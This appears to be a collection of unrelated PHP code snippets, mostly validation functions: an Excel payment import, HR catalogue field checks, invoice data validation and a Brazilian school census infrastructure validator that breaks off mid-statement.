**********************/\n\t\t\t\t\t\tif(!empty($row_col)){\n\t\t\t\t\t\t\t$pay_status\t\t= 2; \t//สถานะการชำระเงิน\n\t\t\t\t\t\t\t$pay_bill_no\t= \"\";\t//ref billNo\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$pay_date \t\t= \"0000-00-00\";\t\n\t\t\t\t\t\t\t$pay_amount\t\t= 0.00; //จำนวนเงินที่ชำระ\n\t\t\t\t\t\t\t$pay_receiver = \"\"; \t//ผู้รับชำระเงิน\n\t\t\t\t\t\t\t$pay_creator \t= \"\"; //ผู้บันทึก ต้องมาจาก login\n\t\t\t\t\t\tforeach($row_col as $key_col => $val_col){\n\t\t\t\t\t\t\t// แปลง index column เป็น name column\n\t\t\t\t\t\t\t$colIndex = PHPExcel_Cell::stringFromColumnIndex($key_col);\n\t\t\t\t\t\t\t//echo \"<br/>\".$key_col.\":\".$colIndex;\n\t\t\t\t\t\t\t$val_column = \"\";\n\t\t\t\t\t\t\tif($colIndex == \"C\"){ //วันที่จ่าย\n\t\t\t\t\t\t\t\t$val_date = date('d/m/Y', PHPExcel_Shared_Date::ExcelToPHP($sheet->getCell($colIndex.$row)->getValue()));\n\t\t\t\t\t\t\t\t$val_column = $val_date;\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t$val_column = $sheet->getCell($colIndex.$row)->getValue();\n\t\t\t\t\t\t\t\tif(empty($val_column) || $val_column == \"\"){\n\t\t\t\t\t\t\t\t\t$val_column = $val_col;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t//echo \"col:\".$colIndex.\" : \".$val_column.\"<br/>\";\n\t\t\t\t\t\t\t\t//echo \"==> \".$val_col.\"===> \".$val_column;\n\t\t\t\t\t\t\tif(!empty($val_column)){\n\t\t\t\t\t\t\t\tif($colIndex == \"B\") $pay_bill_no \t= $val_column;\n\t\t\t\t\t\t\t\tif($colIndex == \"C\") $pay_date \t\t= $val_column;\n\t\t\t\t\t\t\t\tif($colIndex == \"D\") $pay_amount \t= $this->remove_comma($val_column);\n\t\t\t\t\t\t\t\tif($colIndex == \"E\") $pay_receiver \t= $val_column;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}//end each row_col\n\t\t\t\t\t\t\n\t\t\t\t\t\t}//end each num_rows row_col\n\t\t\t\t\t\t/***************** end expend **********************/\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t}//end each column_key\n\t\t\t\t\t}//end each !empty column_key\n\t\t\t\t\t//if(file_exist($this->config->item(\"pbms_upload_dir\").$file_name)) {\n\t\t\t\t\t\t//echo $this->config->item(\"pbms_upload_dir\").$file_name;\n\t\t\t\t\t\t//unlink($this->config->item(\"pbms_upload_dir\").$file_name);\n\t\t\t\t\t//}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t//splitDateFormTH($pay_date)\n\t\t\t\t\tarray_push($arr_data,array(\n\t\t\t\t\t\t\t\t\"arr_bill_no\" => $pay_bill_no,\n\t\t\t\t\t\t\t\t\"arr_date\" => $pay_date,\n\t\t\t\t\t\t\t\t\"arr_amount\" => $pay_amount,\n\t\t\t\t\t\t\t\t\"arr_receiver\" => $pay_receiver\n\t\t\t\t\t));\n\t\t\t\t}//end each row\n\t\t\t\t$this->data[\"section_txt\"] = \"ข้อมูลการชำระเงิน\";\t\n\t\t\t\t$this->data[\"rs_data\"] = $arr_data;\t\n\t\t\t\t$this->output(\"Payment/v_import_preview\", $this->data);\n\t\t\t\t\n\t\t\t}//end Checking file\n\t\t}//end isset file\n\t\t\n\t}", "abstract public function valid();", "function fncValidaDI_22($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = CERO;\n\n\t$DI_22 = \"(22)Partida\";\n\t$DI_22_ErrTam = \"Tamaño de Actividad Institucional debe ser a 5 Alfanumerico\";\n\t$DI_22_Ptda \t = \"La Partida no es parte del catalogo de DGRH\";\n\t\n $Ptda= array(\"44106\",\"12301\",\"11301\");\n\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == CINCO)\n\t{\n\t\tif(!in_array($LocCampo,$Ptda))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_22.\"|\".$LocCampo.\"|\" . $DI_22_Ptda.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_22.\"|\".$LocCampo.\"|\" . $DI_22_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "function fncValidaDI_24($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = CERO;\n\n\t$DI_24 = \"(24)Número de Puesto\";\n\t$DI_24_ErrTam = \"Tamaño de Número de Puesto debe ser a 4 Alfanumerico\";\n\t$DI_24_NumPto \t = \"El Número Puesto no es parte del catalogo de DGRH\";\n\t\n $NumPto= array(\"0022\",\"0101\");\n\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == CUATRO)\n\t{\n\t\tif(!in_array($LocCampo,$NumPto))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_24.\"|\".$LocCampo.\"|\" . $DI_24_NumPto.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_24.\"|\".$LocCampo.\"|\" . $DI_24_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "public function validateDataInvoice(): void\n {\n $this->validarDatos($this->datos, $this->getRules('fe'));\n\n $this->validarDatosArray($this->datos->arrayOtrosTributos, 'tributos');\n\n /** @phpstan-ignore-next-line */\n if (property_exists($this->datos, 'arraySubtotalesIVA')) {\n $this->validarDatosArray((array) $this->datos->arraySubtotalesIVA, 'iva');\n }\n\n $this->validarDatosArray($this->datos->comprobantesAsociados, 'comprobantesAsociados');\n\n if ($this->ws === 'wsfe') {\n if (property_exists($this->datos, 'arrayOpcionales')) {\n $this->validarDatosArray((array) $this->datos->arrayOpcionales, 'opcionales');\n }\n } elseif ($this->ws === 'wsmtxca') {\n $this->validarDatosArray($this->datos->items, 'items');\n }\n }", "public function valid(){ }", "private function validCells($cells){\n\n return $this->rowsGood($cells) && $this->columnsGood($cells);\n\n }", "function fncValidaDI_20($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = CERO;\n\n\t$DI_20 = \"(20)Actividad Institucional\";\n\t$DI_20_ErrTam = \"Tamaño de Actividad Institucional debe ser dígito a 3 posicion\";\n\t$DI_20_AI \t = \"La Actividad Institucional no es parte del catalogo de DGRH\";\n\t\n $AI= array(\"002\",\"004\",\"015\",\"019\");\n\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == TRES)\n\t{\n\t\tif(!in_array($LocCampo,$AI))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_20.\"|\".$LocCampo.\"|\" . $DI_20_AI.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = 1;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_20.\"|\".$LocCampo.\"|\" . $DI_20_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = 1;\n\t}\n\treturn $Bandera;\n}", "public function validation();", "function fncValidaDI_35($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = CERO;\n\n\t$DI_35 = \"(35)Horario Asignado\";\n\t$DI_35_ErrTam = \"Horario Asignado debe ser de 1 Digítos\";\n\t$DI_35_noDI \t = \"Horario Asignado no corresponde al catalogo establecidas por DGRH(1-8)\";\n\t\n\t\n\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == UNO)\n\t{\n\t\tif(!preg_match(\"/[1-8]{1}/\",$LocCampo))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_35.\"|\".$LocCampo.\"|\" . $DI_35_noDI.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_35.\"|\".$LocCampo.\"|\" . $DI_35_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "function fncValidaDI_37($IdEstado, $GestorErr, $NumReg, $Campo)\n{\n\t \n\t$Bandera = CERO;\n\n\t$DI_37 = \"(37)Tipo de Trabajador\";\n\t$DI_37_ErrTam = \"Tipo de Trabajador debe ser de 2 Digítos\";\n\t$DI_37_noDI \t = \"Tipo de Trabajador no corresponde al catalogo establecidas por DGRH(01,11,20)\";\n\t\n\t\n\n\t$LocCampo =$Campo;\n\tif (strlen($LocCampo) == DOS)\n\t{\n\t\tif(!preg_match(\"/[0-9]{2}/\",$LocCampo))\n\t\t{\n\t\t\t$Error = $NumReg .\"|\".$DI_37.\"|\".$LocCampo.\"|\" . $DI_37_noDI.\"|\\n\";\n\t\t\tfwrite($GestorErr, $Error);\n\t\t\t$Bandera = UNO;\n\t\t}\t\n\t}\n\telse\n\t{\n\t\t$Error = $NumReg .\"|\".$DI_37.\"|\".$LocCampo.\"|\" . $DI_37_ErrTam.\"|\\n\";\n\t\tfwrite($GestorErr, $Error);\n\t\t$Bandera = UNO;\n\t}\n\treturn $Bandera;\n}", "function evt__validar_datos()\r\n\t{}", "protected function validarDadosInfraEstrutura(IExportacaoCenso $oExportacaoCenso) {\n\n $lTodosDadosValidos = true;\n $oDadosEscola = $oExportacaoCenso->getDadosProcessadosEscola();\n $aDadosTurma = $oExportacaoCenso->getDadosProcessadosTurma();\n\n $aEquipamentosValidacao = array(\n 0 => \"equipamentos_existentes_escola_televisao\",\n 1 => \"equipamentos_existentes_escola_videocassete\",\n 2 => \"equipamentos_existentes_escola_dvd\",\n 3 => \"equipamentos_existentes_escola_antena_parabolica\",\n 4 => \"equipamentos_existentes_escola_copiadora\",\n 5 => \"equipamentos_existentes_escola_retroprojetor\",\n 6 => \"equipamentos_existentes_escola_impressora\",\n 7 => \"equipamentos_existentes_escola_aparelho_som\",\n 8 => \"equipamentos_existentes_escola_projetor_datashow\",\n 9 => \"equipamentos_existentes_escola_fax\",\n 10 => \"equipamentos_existentes_escola_maquina_fotografica\"\n );\n\n $aEstruturaValidacao = array(\n 3000032 => \"equipamentos_existentes_escola_computador\",\n 3000003 => \"quantidade_computadores_uso_administrativo\",\n 3000024 => \"quantidade_computadores_uso_alunos\",\n 3000019 => \"numero_salas_aula_existentes_escola\",\n 3000020 => \"numero_salas_usadas_como_salas_aula\"\n );\n\n $aDependenciasEscola = array(\n \"dependencias_existentes_escola_sala_professores\",\n \"dependencias_existentes_escola_bercario\",\n \"dependencias_existentes_escola_despensa\",\n \"dependencias_existentes_escola_area_verde\",\n \"dependencias_existentes_escola_almoxarifado\",\n \"dependencias_existentes_escola_auditorio\",\n \"dependencias_existentes_escola_banheiro_alunos_def\",\n \"dependencias_existentes_escola_banheiro_chuveiro\",\n \"dependencias_existentes_escola_sala_leitura\",\n \"dependencias_existentes_escola_sala_recursos_multi\",\n \"dependencias_existentes_escola_banheiro_educ_infan\",\n \"dependencias_existentes_escola_cozinha\",\n \"dependencias_existentes_escola_alojamento_professo\",\n \"dependencias_existentes_escola_laboratorio_ciencia\",\n \"dependencias_existentes_escola_patio_coberto\",\n \"dependencias_existentes_escola_alojamento_aluno\",\n \"dependencias_existentes_escola_laboratorio_informa\",\n \"dependencias_existentes_escola_refeitorio\",\n \"dependencias_existentes_escola_parque_infantil\",\n \"dependencias_existentes_escola_banheiro_fora_predi\",\n \"dependencias_existentes_escola_quadra_esporte_desc\",\n \"dependencias_existentes_escola_sala_secretaria\",\n \"dependencias_existentes_escola_dep_vias_alunos_def\",\n \"dependencias_existentes_escola_banheiro_dentro_pre\",\n \"dependencias_existentes_escola_lavanderia\",\n \"dependencias_existentes_escola_quadra_esporte_cobe\",\n \"dependencias_existentes_escola_biblioteca\",\n \"dependencias_existentes_escola_sala_diretoria\",\n \"dependencias_existentes_escola_patio_descoberto\",\n \"dependencias_existentes_escola_nenhuma_relacionada\"\n );\n\n $aModalidadesEtapas = array(\n \"modalidade_ensino_regular\",\n \"modalidade_educacao_especial_modalidade_substutiva\",\n \"modalidade_educacao_jovens_adultos\",\n \"etapas_ensino_regular_creche\",\n \"etapas_ensino_regular_pre_escola\",\n \"etapas_ensino_regular_ensino_fundamental_8_anos\",\n \"etapas_ensino_regular_ensino_fundamental_9_anos\",\n \"etapas_ensino_regular_ensino_medio_medio\",\n \"etapas_ensino_regular_ensino_medio_integrado\",\n \"etapas_ensino_regular_ensino_medio_normal_magister\",\n \"etapas_ensino_regular_ensino_medio_profissional\",\n \"etapa_educacao_especial_creche\",\n \"etapa_educacao_especial_pre_escola\",\n \"etapa_educacao_especial_ensino_fundamental_8_anos\",\n \"etapa_educacao_especial_ensino_fundamental_9_anos\",\n \"etapa_educacao_especial_ensino_medio_medio\",\n \"etapa_educacao_especial_ensino_medio_integrado\",\n \"etapa_educacao_especial_ensino_medio_normal_magist\",\n \"etapa_educacao_especial_ensino_medio_educ_profis\",\n \"etapa_educacao_especial_eja_ensino_fundamental\",\n \"etapa_educacao_especial_eja_ensino_medio\",\n \"etapa_eja_ensino_fundamental\",\n \"etapa_eja_ensino_fundamental_projovem_urbano\",\n \"etapa_eja_ensino_medio\"\n );\n\n foreach ($aEquipamentosValidacao as $sEquipamentoValidacao) {\n\n if (!DadosCensoEscola::validarEquipamentosExistentes($oExportacaoCenso, $oDadosEscola->registro10->$sEquipamentoValidacao)) {\n $lTodosDadosValidos = false;\n }\n break;\n }\n\n $iComputadorExistentes = 0;\n foreach ($aEstruturaValidacao as $iSequencial => $sEstruturaValidacao) {\n\n if( $iSequencial == 3000032 ) {\n\n if( !empty( $oDadosEscola->registro10->$sEstruturaValidacao ) ) {\n $iComputadorExistentes = $oDadosEscola->registro10->$sEstruturaValidacao;\n }\n }\n\n if( $iSequencial == 3000003\n && $oDadosEscola->registro10->$sEstruturaValidacao != ''\n && ( $iComputadorExistentes == 0 || $iComputadorExistentes < $oDadosEscola->registro10->$sEstruturaValidacao )\n ) {\n\n $lTodosDadosValidos = false;\n $sMensagem = \"Quantidade de computadores informados para uso administrativo\";\n $sMensagem .= \" ({$oDadosEscola->registro10->$sEstruturaValidacao}), é maior que a quantidade de\";\n $sMensagem .= \" computadores existentes na escola ({$iComputadorExistentes}).\";\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if( $iSequencial == 3000024\n && $oDadosEscola->registro10->$sEstruturaValidacao != ''\n && ( $iComputadorExistentes == 0 || $iComputadorExistentes < $oDadosEscola->registro10->$sEstruturaValidacao )\n ) {\n\n $lTodosDadosValidos = false;\n $sMensagem = \"Quantidade de computadores informados para uso dos alunos\";\n $sMensagem .= \" ({$oDadosEscola->registro10->$sEstruturaValidacao}), é maior que a quantidade de\";\n $sMensagem .= \" computadores existentes na escola ({$iComputadorExistentes}).\";\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if (!DadosCensoEscola::validarEquipamentosGeral($oExportacaoCenso, $iSequencial, $oDadosEscola->registro10->$sEstruturaValidacao)) {\n $lTodosDadosValidos = false;\n }\n }\n\n if( $iComputadorExistentes > 0 ) {\n\n if( $oDadosEscola->registro10->acesso_internet === '' ) {\n\n $sMensagem = \"Deve ser informado se a escola possui acesso a internet ou não, pois foi informada a\";\n $sMensagem .= \" quantidade de computadores que a mesma possui.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if( $oDadosEscola->registro10->acesso_internet == 1 && $oDadosEscola->registro10->banda_larga == '' ) {\n\n $sMensagem = \"Deve ser informado se a escola possui banda larga, pois foi informado que a mesma\";\n $sMensagem .= \" possui acesso a internet.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n }\n\n if ($oDadosEscola->registro10->numero_cpf_responsavel_gestor_responsavel == '') {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"Número do CPF do gestor é obrigatório\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n if (trim($oDadosEscola->registro10->numero_cpf_responsavel_gestor_responsavel) == \"00000000191\") {\n\n $lTodosDadosValidos = false;\n $sMensagem = \"Número do CPF ({$oDadosEscola->registro10->numero_cpf_responsavel_gestor_responsavel}) do\";\n $sMensagem .= \" gestor informado é inválido.\";\n $oExportacaoCenso->logErro($sMensagem, ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n if ($oDadosEscola->registro10->nome_gestor == '') {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"Nome do gestor é obrigatório\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n $sExpressao = '/([a-zA-Z])\\1{3}/';\n $lValidacaoExpressao = preg_match($sExpressao, $oDadosEscola->registro10->nome_gestor) ? true : false;\n\n if ($lValidacaoExpressao) {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"Nome do gestor inválido. Não é possível informar mais de 4 letras repetidas em sequência.\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n if ($oDadosEscola->registro10->cargo_gestor_responsavel == '') {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"Cargo do gestor é obrigatório\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n /**\n * Validações que serão executadas caso a situação de funcionamento seja igual a 1\n * 1 - em atividade\n */\n if ($oDadosEscola->registro00->situacao_funcionamento == 1) {\n\n if ($oDadosEscola->registro10->local_funcionamento_escola_predio_escolar == 0 &&\n $oDadosEscola->registro10->local_funcionamento_escola_templo_igreja == 0 &&\n $oDadosEscola->registro10->local_funcionamento_escola_salas_empresas == 0 &&\n $oDadosEscola->registro10->local_funcionamento_escola_casa_professor == 0 &&\n $oDadosEscola->registro10->local_funcionamento_escola_salas_outras_escolas == 0 &&\n $oDadosEscola->registro10->local_funcionamento_escola_galpao_rancho_paiol_bar == 0 &&\n $oDadosEscola->registro10->local_funcionamento_escola_un_internacao_prisional == 0 &&\n $oDadosEscola->registro10->local_funcionamento_escola_outros == 0) {\n\n $sMensagem = \"Deve ser selecionado pelo menos um local de funcionamento da escola.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n /**\n * Validações que serão executadas caso a situação de funcionamento seja igual a 1\n * 1 - em atividade\n * e o local de funcionamento seja igual a 7\n * 7 - Prédio escolar\n */\n if ($oDadosEscola->registro10->local_funcionamento_escola_predio_escolar == 1) {\n\n if ( empty( $oDadosEscola->registro10->forma_ocupacao_predio ) ) {\n\n $sMensagem = \"Escola Ativa. Deve ser selecionada uma forma de ocupação do prédio.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if ($oDadosEscola->registro10->predio_compartilhado_outra_escola == '') {\n\n $sMensagem = \"Escola Ativa. Deve ser informado se o prédio é compartilhado ou não com outra escola.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if( $oDadosEscola->registro10->predio_compartilhado_outra_escola == 1 ) {\n\n $iTotalCodigoVazio = 0;\n $lErroCodigoVazio = false;\n $lErroCodigoInvalido = false;\n\n for( $iContador = 1; $iContador <= 6; $iContador++ ) {\n\n $sCodigoEscolaCompartilhada = \"codigo_escola_compartilha_\" . $iContador;\n if( trim( $oDadosEscola->registro10->{$sCodigoEscolaCompartilhada} ) == '' ) {\n $iTotalCodigoVazio++;\n }\n\n if( trim( $oDadosEscola->registro10->{$sCodigoEscolaCompartilhada} ) != ''\n && strlen( trim( $oDadosEscola->registro10->{$sCodigoEscolaCompartilhada} ) ) != 8 ) {\n $lErroCodigoInvalido = true;\n }\n }\n\n if( $iTotalCodigoVazio == 6 ) {\n $lErroCodigoVazio = true;\n }\n\n if( $lErroCodigoVazio ) {\n\n $sMensagem = \"Escola com prédio compartilhado. É necessário informar ao menos o código INEP de uma\";\n $sMensagem .= \" escola que compartilhe o prédio.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if( $lErroCodigoInvalido ) {\n\n $sMensagem = \"Código INEP de uma das escolas que compartilham o prédio, com tamanho inválido.\";\n $sMensagem .= \" Tamanho válido: 8 dígitos.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n }\n }\n\n if ($oDadosEscola->registro10->agua_consumida_alunos == '') {\n\n $sMensagem = \"Deve ser selecionada um tipo de água consumida pelos alunos.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if ($oDadosEscola->registro10->destinacao_lixo_coleta_periodica == 0 &&\n $oDadosEscola->registro10->destinacao_lixo_queima == 0 &&\n $oDadosEscola->registro10->destinacao_lixo_joga_outra_area == 0 &&\n $oDadosEscola->registro10->destinacao_lixo_recicla == 0 &&\n $oDadosEscola->registro10->destinacao_lixo_enterra == 0 &&\n $oDadosEscola->registro10->destinacao_lixo_outros == 0) {\n\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro(\"Destinação do lixo da escola não informado.\", ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n $lNumeroSalasExistentesValido = true;\n if( !DBNumber::isInteger( trim( $oDadosEscola->registro10->numero_salas_aula_existentes_escola ) ) ) {\n\n $lNumeroSalasExistentesValido = false;\n $sMensagem = \"Valor do 'N° de Salas de Aula Existentes na Escola' inválido. Deve ser\";\n $sMensagem .= \" informado somente números.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if ( $lNumeroSalasExistentesValido\n && trim( $oDadosEscola->registro10->numero_salas_aula_existentes_escola == 0 )\n ) {\n\n $sMensagem = \"O valor do campo 'N° de Salas de Aula Existentes na Escola' deve ser maior que 0.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n $lNumeroSalasUsadasValido = true;\n if( !DBNumber::isInteger( trim( $oDadosEscola->registro10->numero_salas_usadas_como_salas_aula ) ) ) {\n\n $lNumeroSalasUsadasValido = false;\n $sMensagem = \"Valor do 'N° de Salas Utilizadas como Sala de Aula' inválido. Deve ser\";\n $sMensagem .= \" informado somente números.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if ( $lNumeroSalasUsadasValido && trim( $oDadosEscola->registro10->numero_salas_usadas_como_salas_aula == 0 ) ) {\n\n $sMensagem = \"O valor do campo 'N° de Salas Utilizadas como Sala de Aula' deve ser maior de 0.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if ($oDadosEscola->registro10->escola_cede_espaco_turma_brasil_alfabetizado == '') {\n\n $sMensagem = \"Informe se a escola cede espaço para turmas do Brasil Alfabetizado.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if ($oDadosEscola->registro10->escola_abre_finais_semanas_comunidade == '') {\n\n $sMensagem = \"Informe se a escola abre aos finais de semana para a comunidade.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if ($oDadosEscola->registro10->escola_formacao_alternancia == '') {\n\n $sMensagem = \"Informe se a escola possui proposta pedagógica de formação por alternância.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if ( $oDadosEscola->registro00->dependencia_administrativa != 3\n && trim( $oDadosEscola->registro10->alimentacao_escolar_aluno ) != 1\n ) {\n\n $lTodosDadosValidos = false;\n $sMensagem = \"Campo Alimentação na aba Infra estrutura do cadastro dados da escola deve ser \";\n $sMensagem .= \"informado como Oferece, pois dependência administrativa é Municipal.\";\n $oExportacaoCenso->logErro($sMensagem, ExportacaoCensoBase::LOG_ESCOLA);\n }\n\n if( $oDadosEscola->registro10->abastecimento_agua_inexistente == 1 ) {\n\n if( $oDadosEscola->registro10->abastecimento_agua_fonte_rio_igarape_riacho_correg == 1\n || $oDadosEscola->registro10->abastecimento_agua_poco_artesiano == 1\n || $oDadosEscola->registro10->abastecimento_agua_cacimba_cisterna_poco == 1\n || $oDadosEscola->registro10->abastecimento_agua_rede_publica == 1\n ) {\n\n $lTodosDadosValidos = false;\n $sMensagem = \"Informação de abastecimento de água inválida. Ao selecionar a opção 'Inexistente'\";\n $sMensagem .= \", nenhum dos tipos de abastecimento deve ser selecionado.\";\n $oExportacaoCenso->logErro($sMensagem, ExportacaoCensoBase::LOG_ESCOLA);\n }\n }\n\n if( $oDadosEscola->registro10->abastecimento_energia_eletrica_inexistente == 1 ) {\n\n if( $oDadosEscola->registro10->abastecimento_energia_eletrica_gerador == 1\n || $oDadosEscola->registro10->abastecimento_energia_eletrica_outros_alternativa == 1\n || $oDadosEscola->registro10->abastecimento_energia_eletrica_rede_publica == 1\n ) {\n\n $lTodosDadosValidos = false;\n $sMensagem = \"Informação de abastecimento de energia inválida. Ao selecionar a opção 'Inexistente'\";\n $sMensagem .= \", nenhum dos tipos de abastecimento deve ser selecionado.\";\n $oExportacaoCenso->logErro($sMensagem, ExportacaoCensoBase::LOG_ESCOLA);\n }\n }\n\n if( $oDadosEscola->registro10->esgoto_sanitario_inexistente == 1 ) {\n\n if( $oDadosEscola->registro10->esgoto_sanitario_rede_publica == 1\n || $oDadosEscola->registro10->esgoto_sanitario_fossa == 1\n ) {\n\n $lTodosDadosValidos = false;\n $sMensagem = \"Informação de esgoto sanitário inválida. Ao selecionar a opção 'Inexistente'\";\n $sMensagem .= \", nenhum dos tipos de abastecimento deve ser selecionado.\";\n $oExportacaoCenso->logErro($sMensagem, ExportacaoCensoBase::LOG_ESCOLA);\n }\n }\n\n if( $oDadosEscola->registro10->dependencias_existentes_escola_nenhuma_relacionada == 1 ) {\n\n $lSelecionouDependencia = false;\n foreach( $aDependenciasEscola as $sDependencia ) {\n\n if( $oDadosEscola->registro10->{$sDependencia} != \"dependencias_existentes_escola_nenhuma_relacionada\"\n && $oDadosEscola->registro10->{$sDependencia} == 1\n ) {\n\n $lSelecionouDependencia = true;\n break;\n }\n }\n\n if( $lSelecionouDependencia ) {\n\n $sMensagem = \"Informação das dependências da escola inválida. Ao selecionar 'Nenhuma das dependências\";\n $sMensagem .= \" relacionadas', nenhuma das outras dependências pode ser selecionada.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n }\n\n\n /**\n * Variáveis para controlar o total de turmas existentes\n * 0 - Normal\n * 4 - AEE\n * 5 - AC\n */\n $iTotalTurmaNormal = 0;\n $iTotalTurmaAC = 0;\n $iTotalTurmaAEE = 0;\n\n foreach( $aDadosTurma as $oDadosTurma ) {\n\n switch( $oDadosTurma->tipo_atendimento ) {\n\n case 0:\n\n $iTotalTurmaNormal++;\n break;\n\n case 4:\n\n $iTotalTurmaAC++;\n break;\n\n case 5:\n\n $iTotalTurmaAEE++;\n break;\n }\n }\n\n /**\n * Validações referentes as opções selecionadas em relação a Atividade Complementar( AC ) e Atendimento\n * Educacional Especializado( AEE )\n * - atendimento_educacional_especializado\n * - atividade_complementar\n */\n if( $oDadosEscola->registro10->atendimento_educacional_especializado == ''\n || $oDadosEscola->registro10->atividade_complementar == ''\n ) {\n\n $sMensagem = \"É necessário marcar uma das opções referentes a Atendimento Educacional Especializado\";\n $sMensagem .= \" e Atividade Complementar( Cadastros -> Dados da Escola -> Aba Infra Estrutura ).\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if( $oDadosEscola->registro10->atendimento_educacional_especializado == 2 ) {\n\n if( $oDadosEscola->registro10->atividade_complementar == 2 ) {\n\n $sMensagem = \"Atendimento Educacional Especializado e Atividade Complementar foram marcados como\";\n $sMensagem .= \" 'Exclusivamente'. Ao marcar uma das opções como 'Exclusivamente', a outra deve\";\n $sMensagem .= \" ser marcada como 'Não Oferece'.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( $sMensagem, ExportacaoCensoBase::LOG_ESCOLA );\n }\n\n if( $iTotalTurmaNormal > 0 ) {\n\n $sMensagem = \"Atendimento Educacional Especializado marcado como 'Exclusivamente'. Ao marcar esta\";\n $sMensagem .= \" opção, a escola não deve turmas de Ensino Regular, EJA e/ou Educação Especial, ou\";\n $sMensagem .= \" deve ser alterada a opção marcada.\";\n $lTodosDadosValidos = false;\n $oExportacaoCenso->logErro( 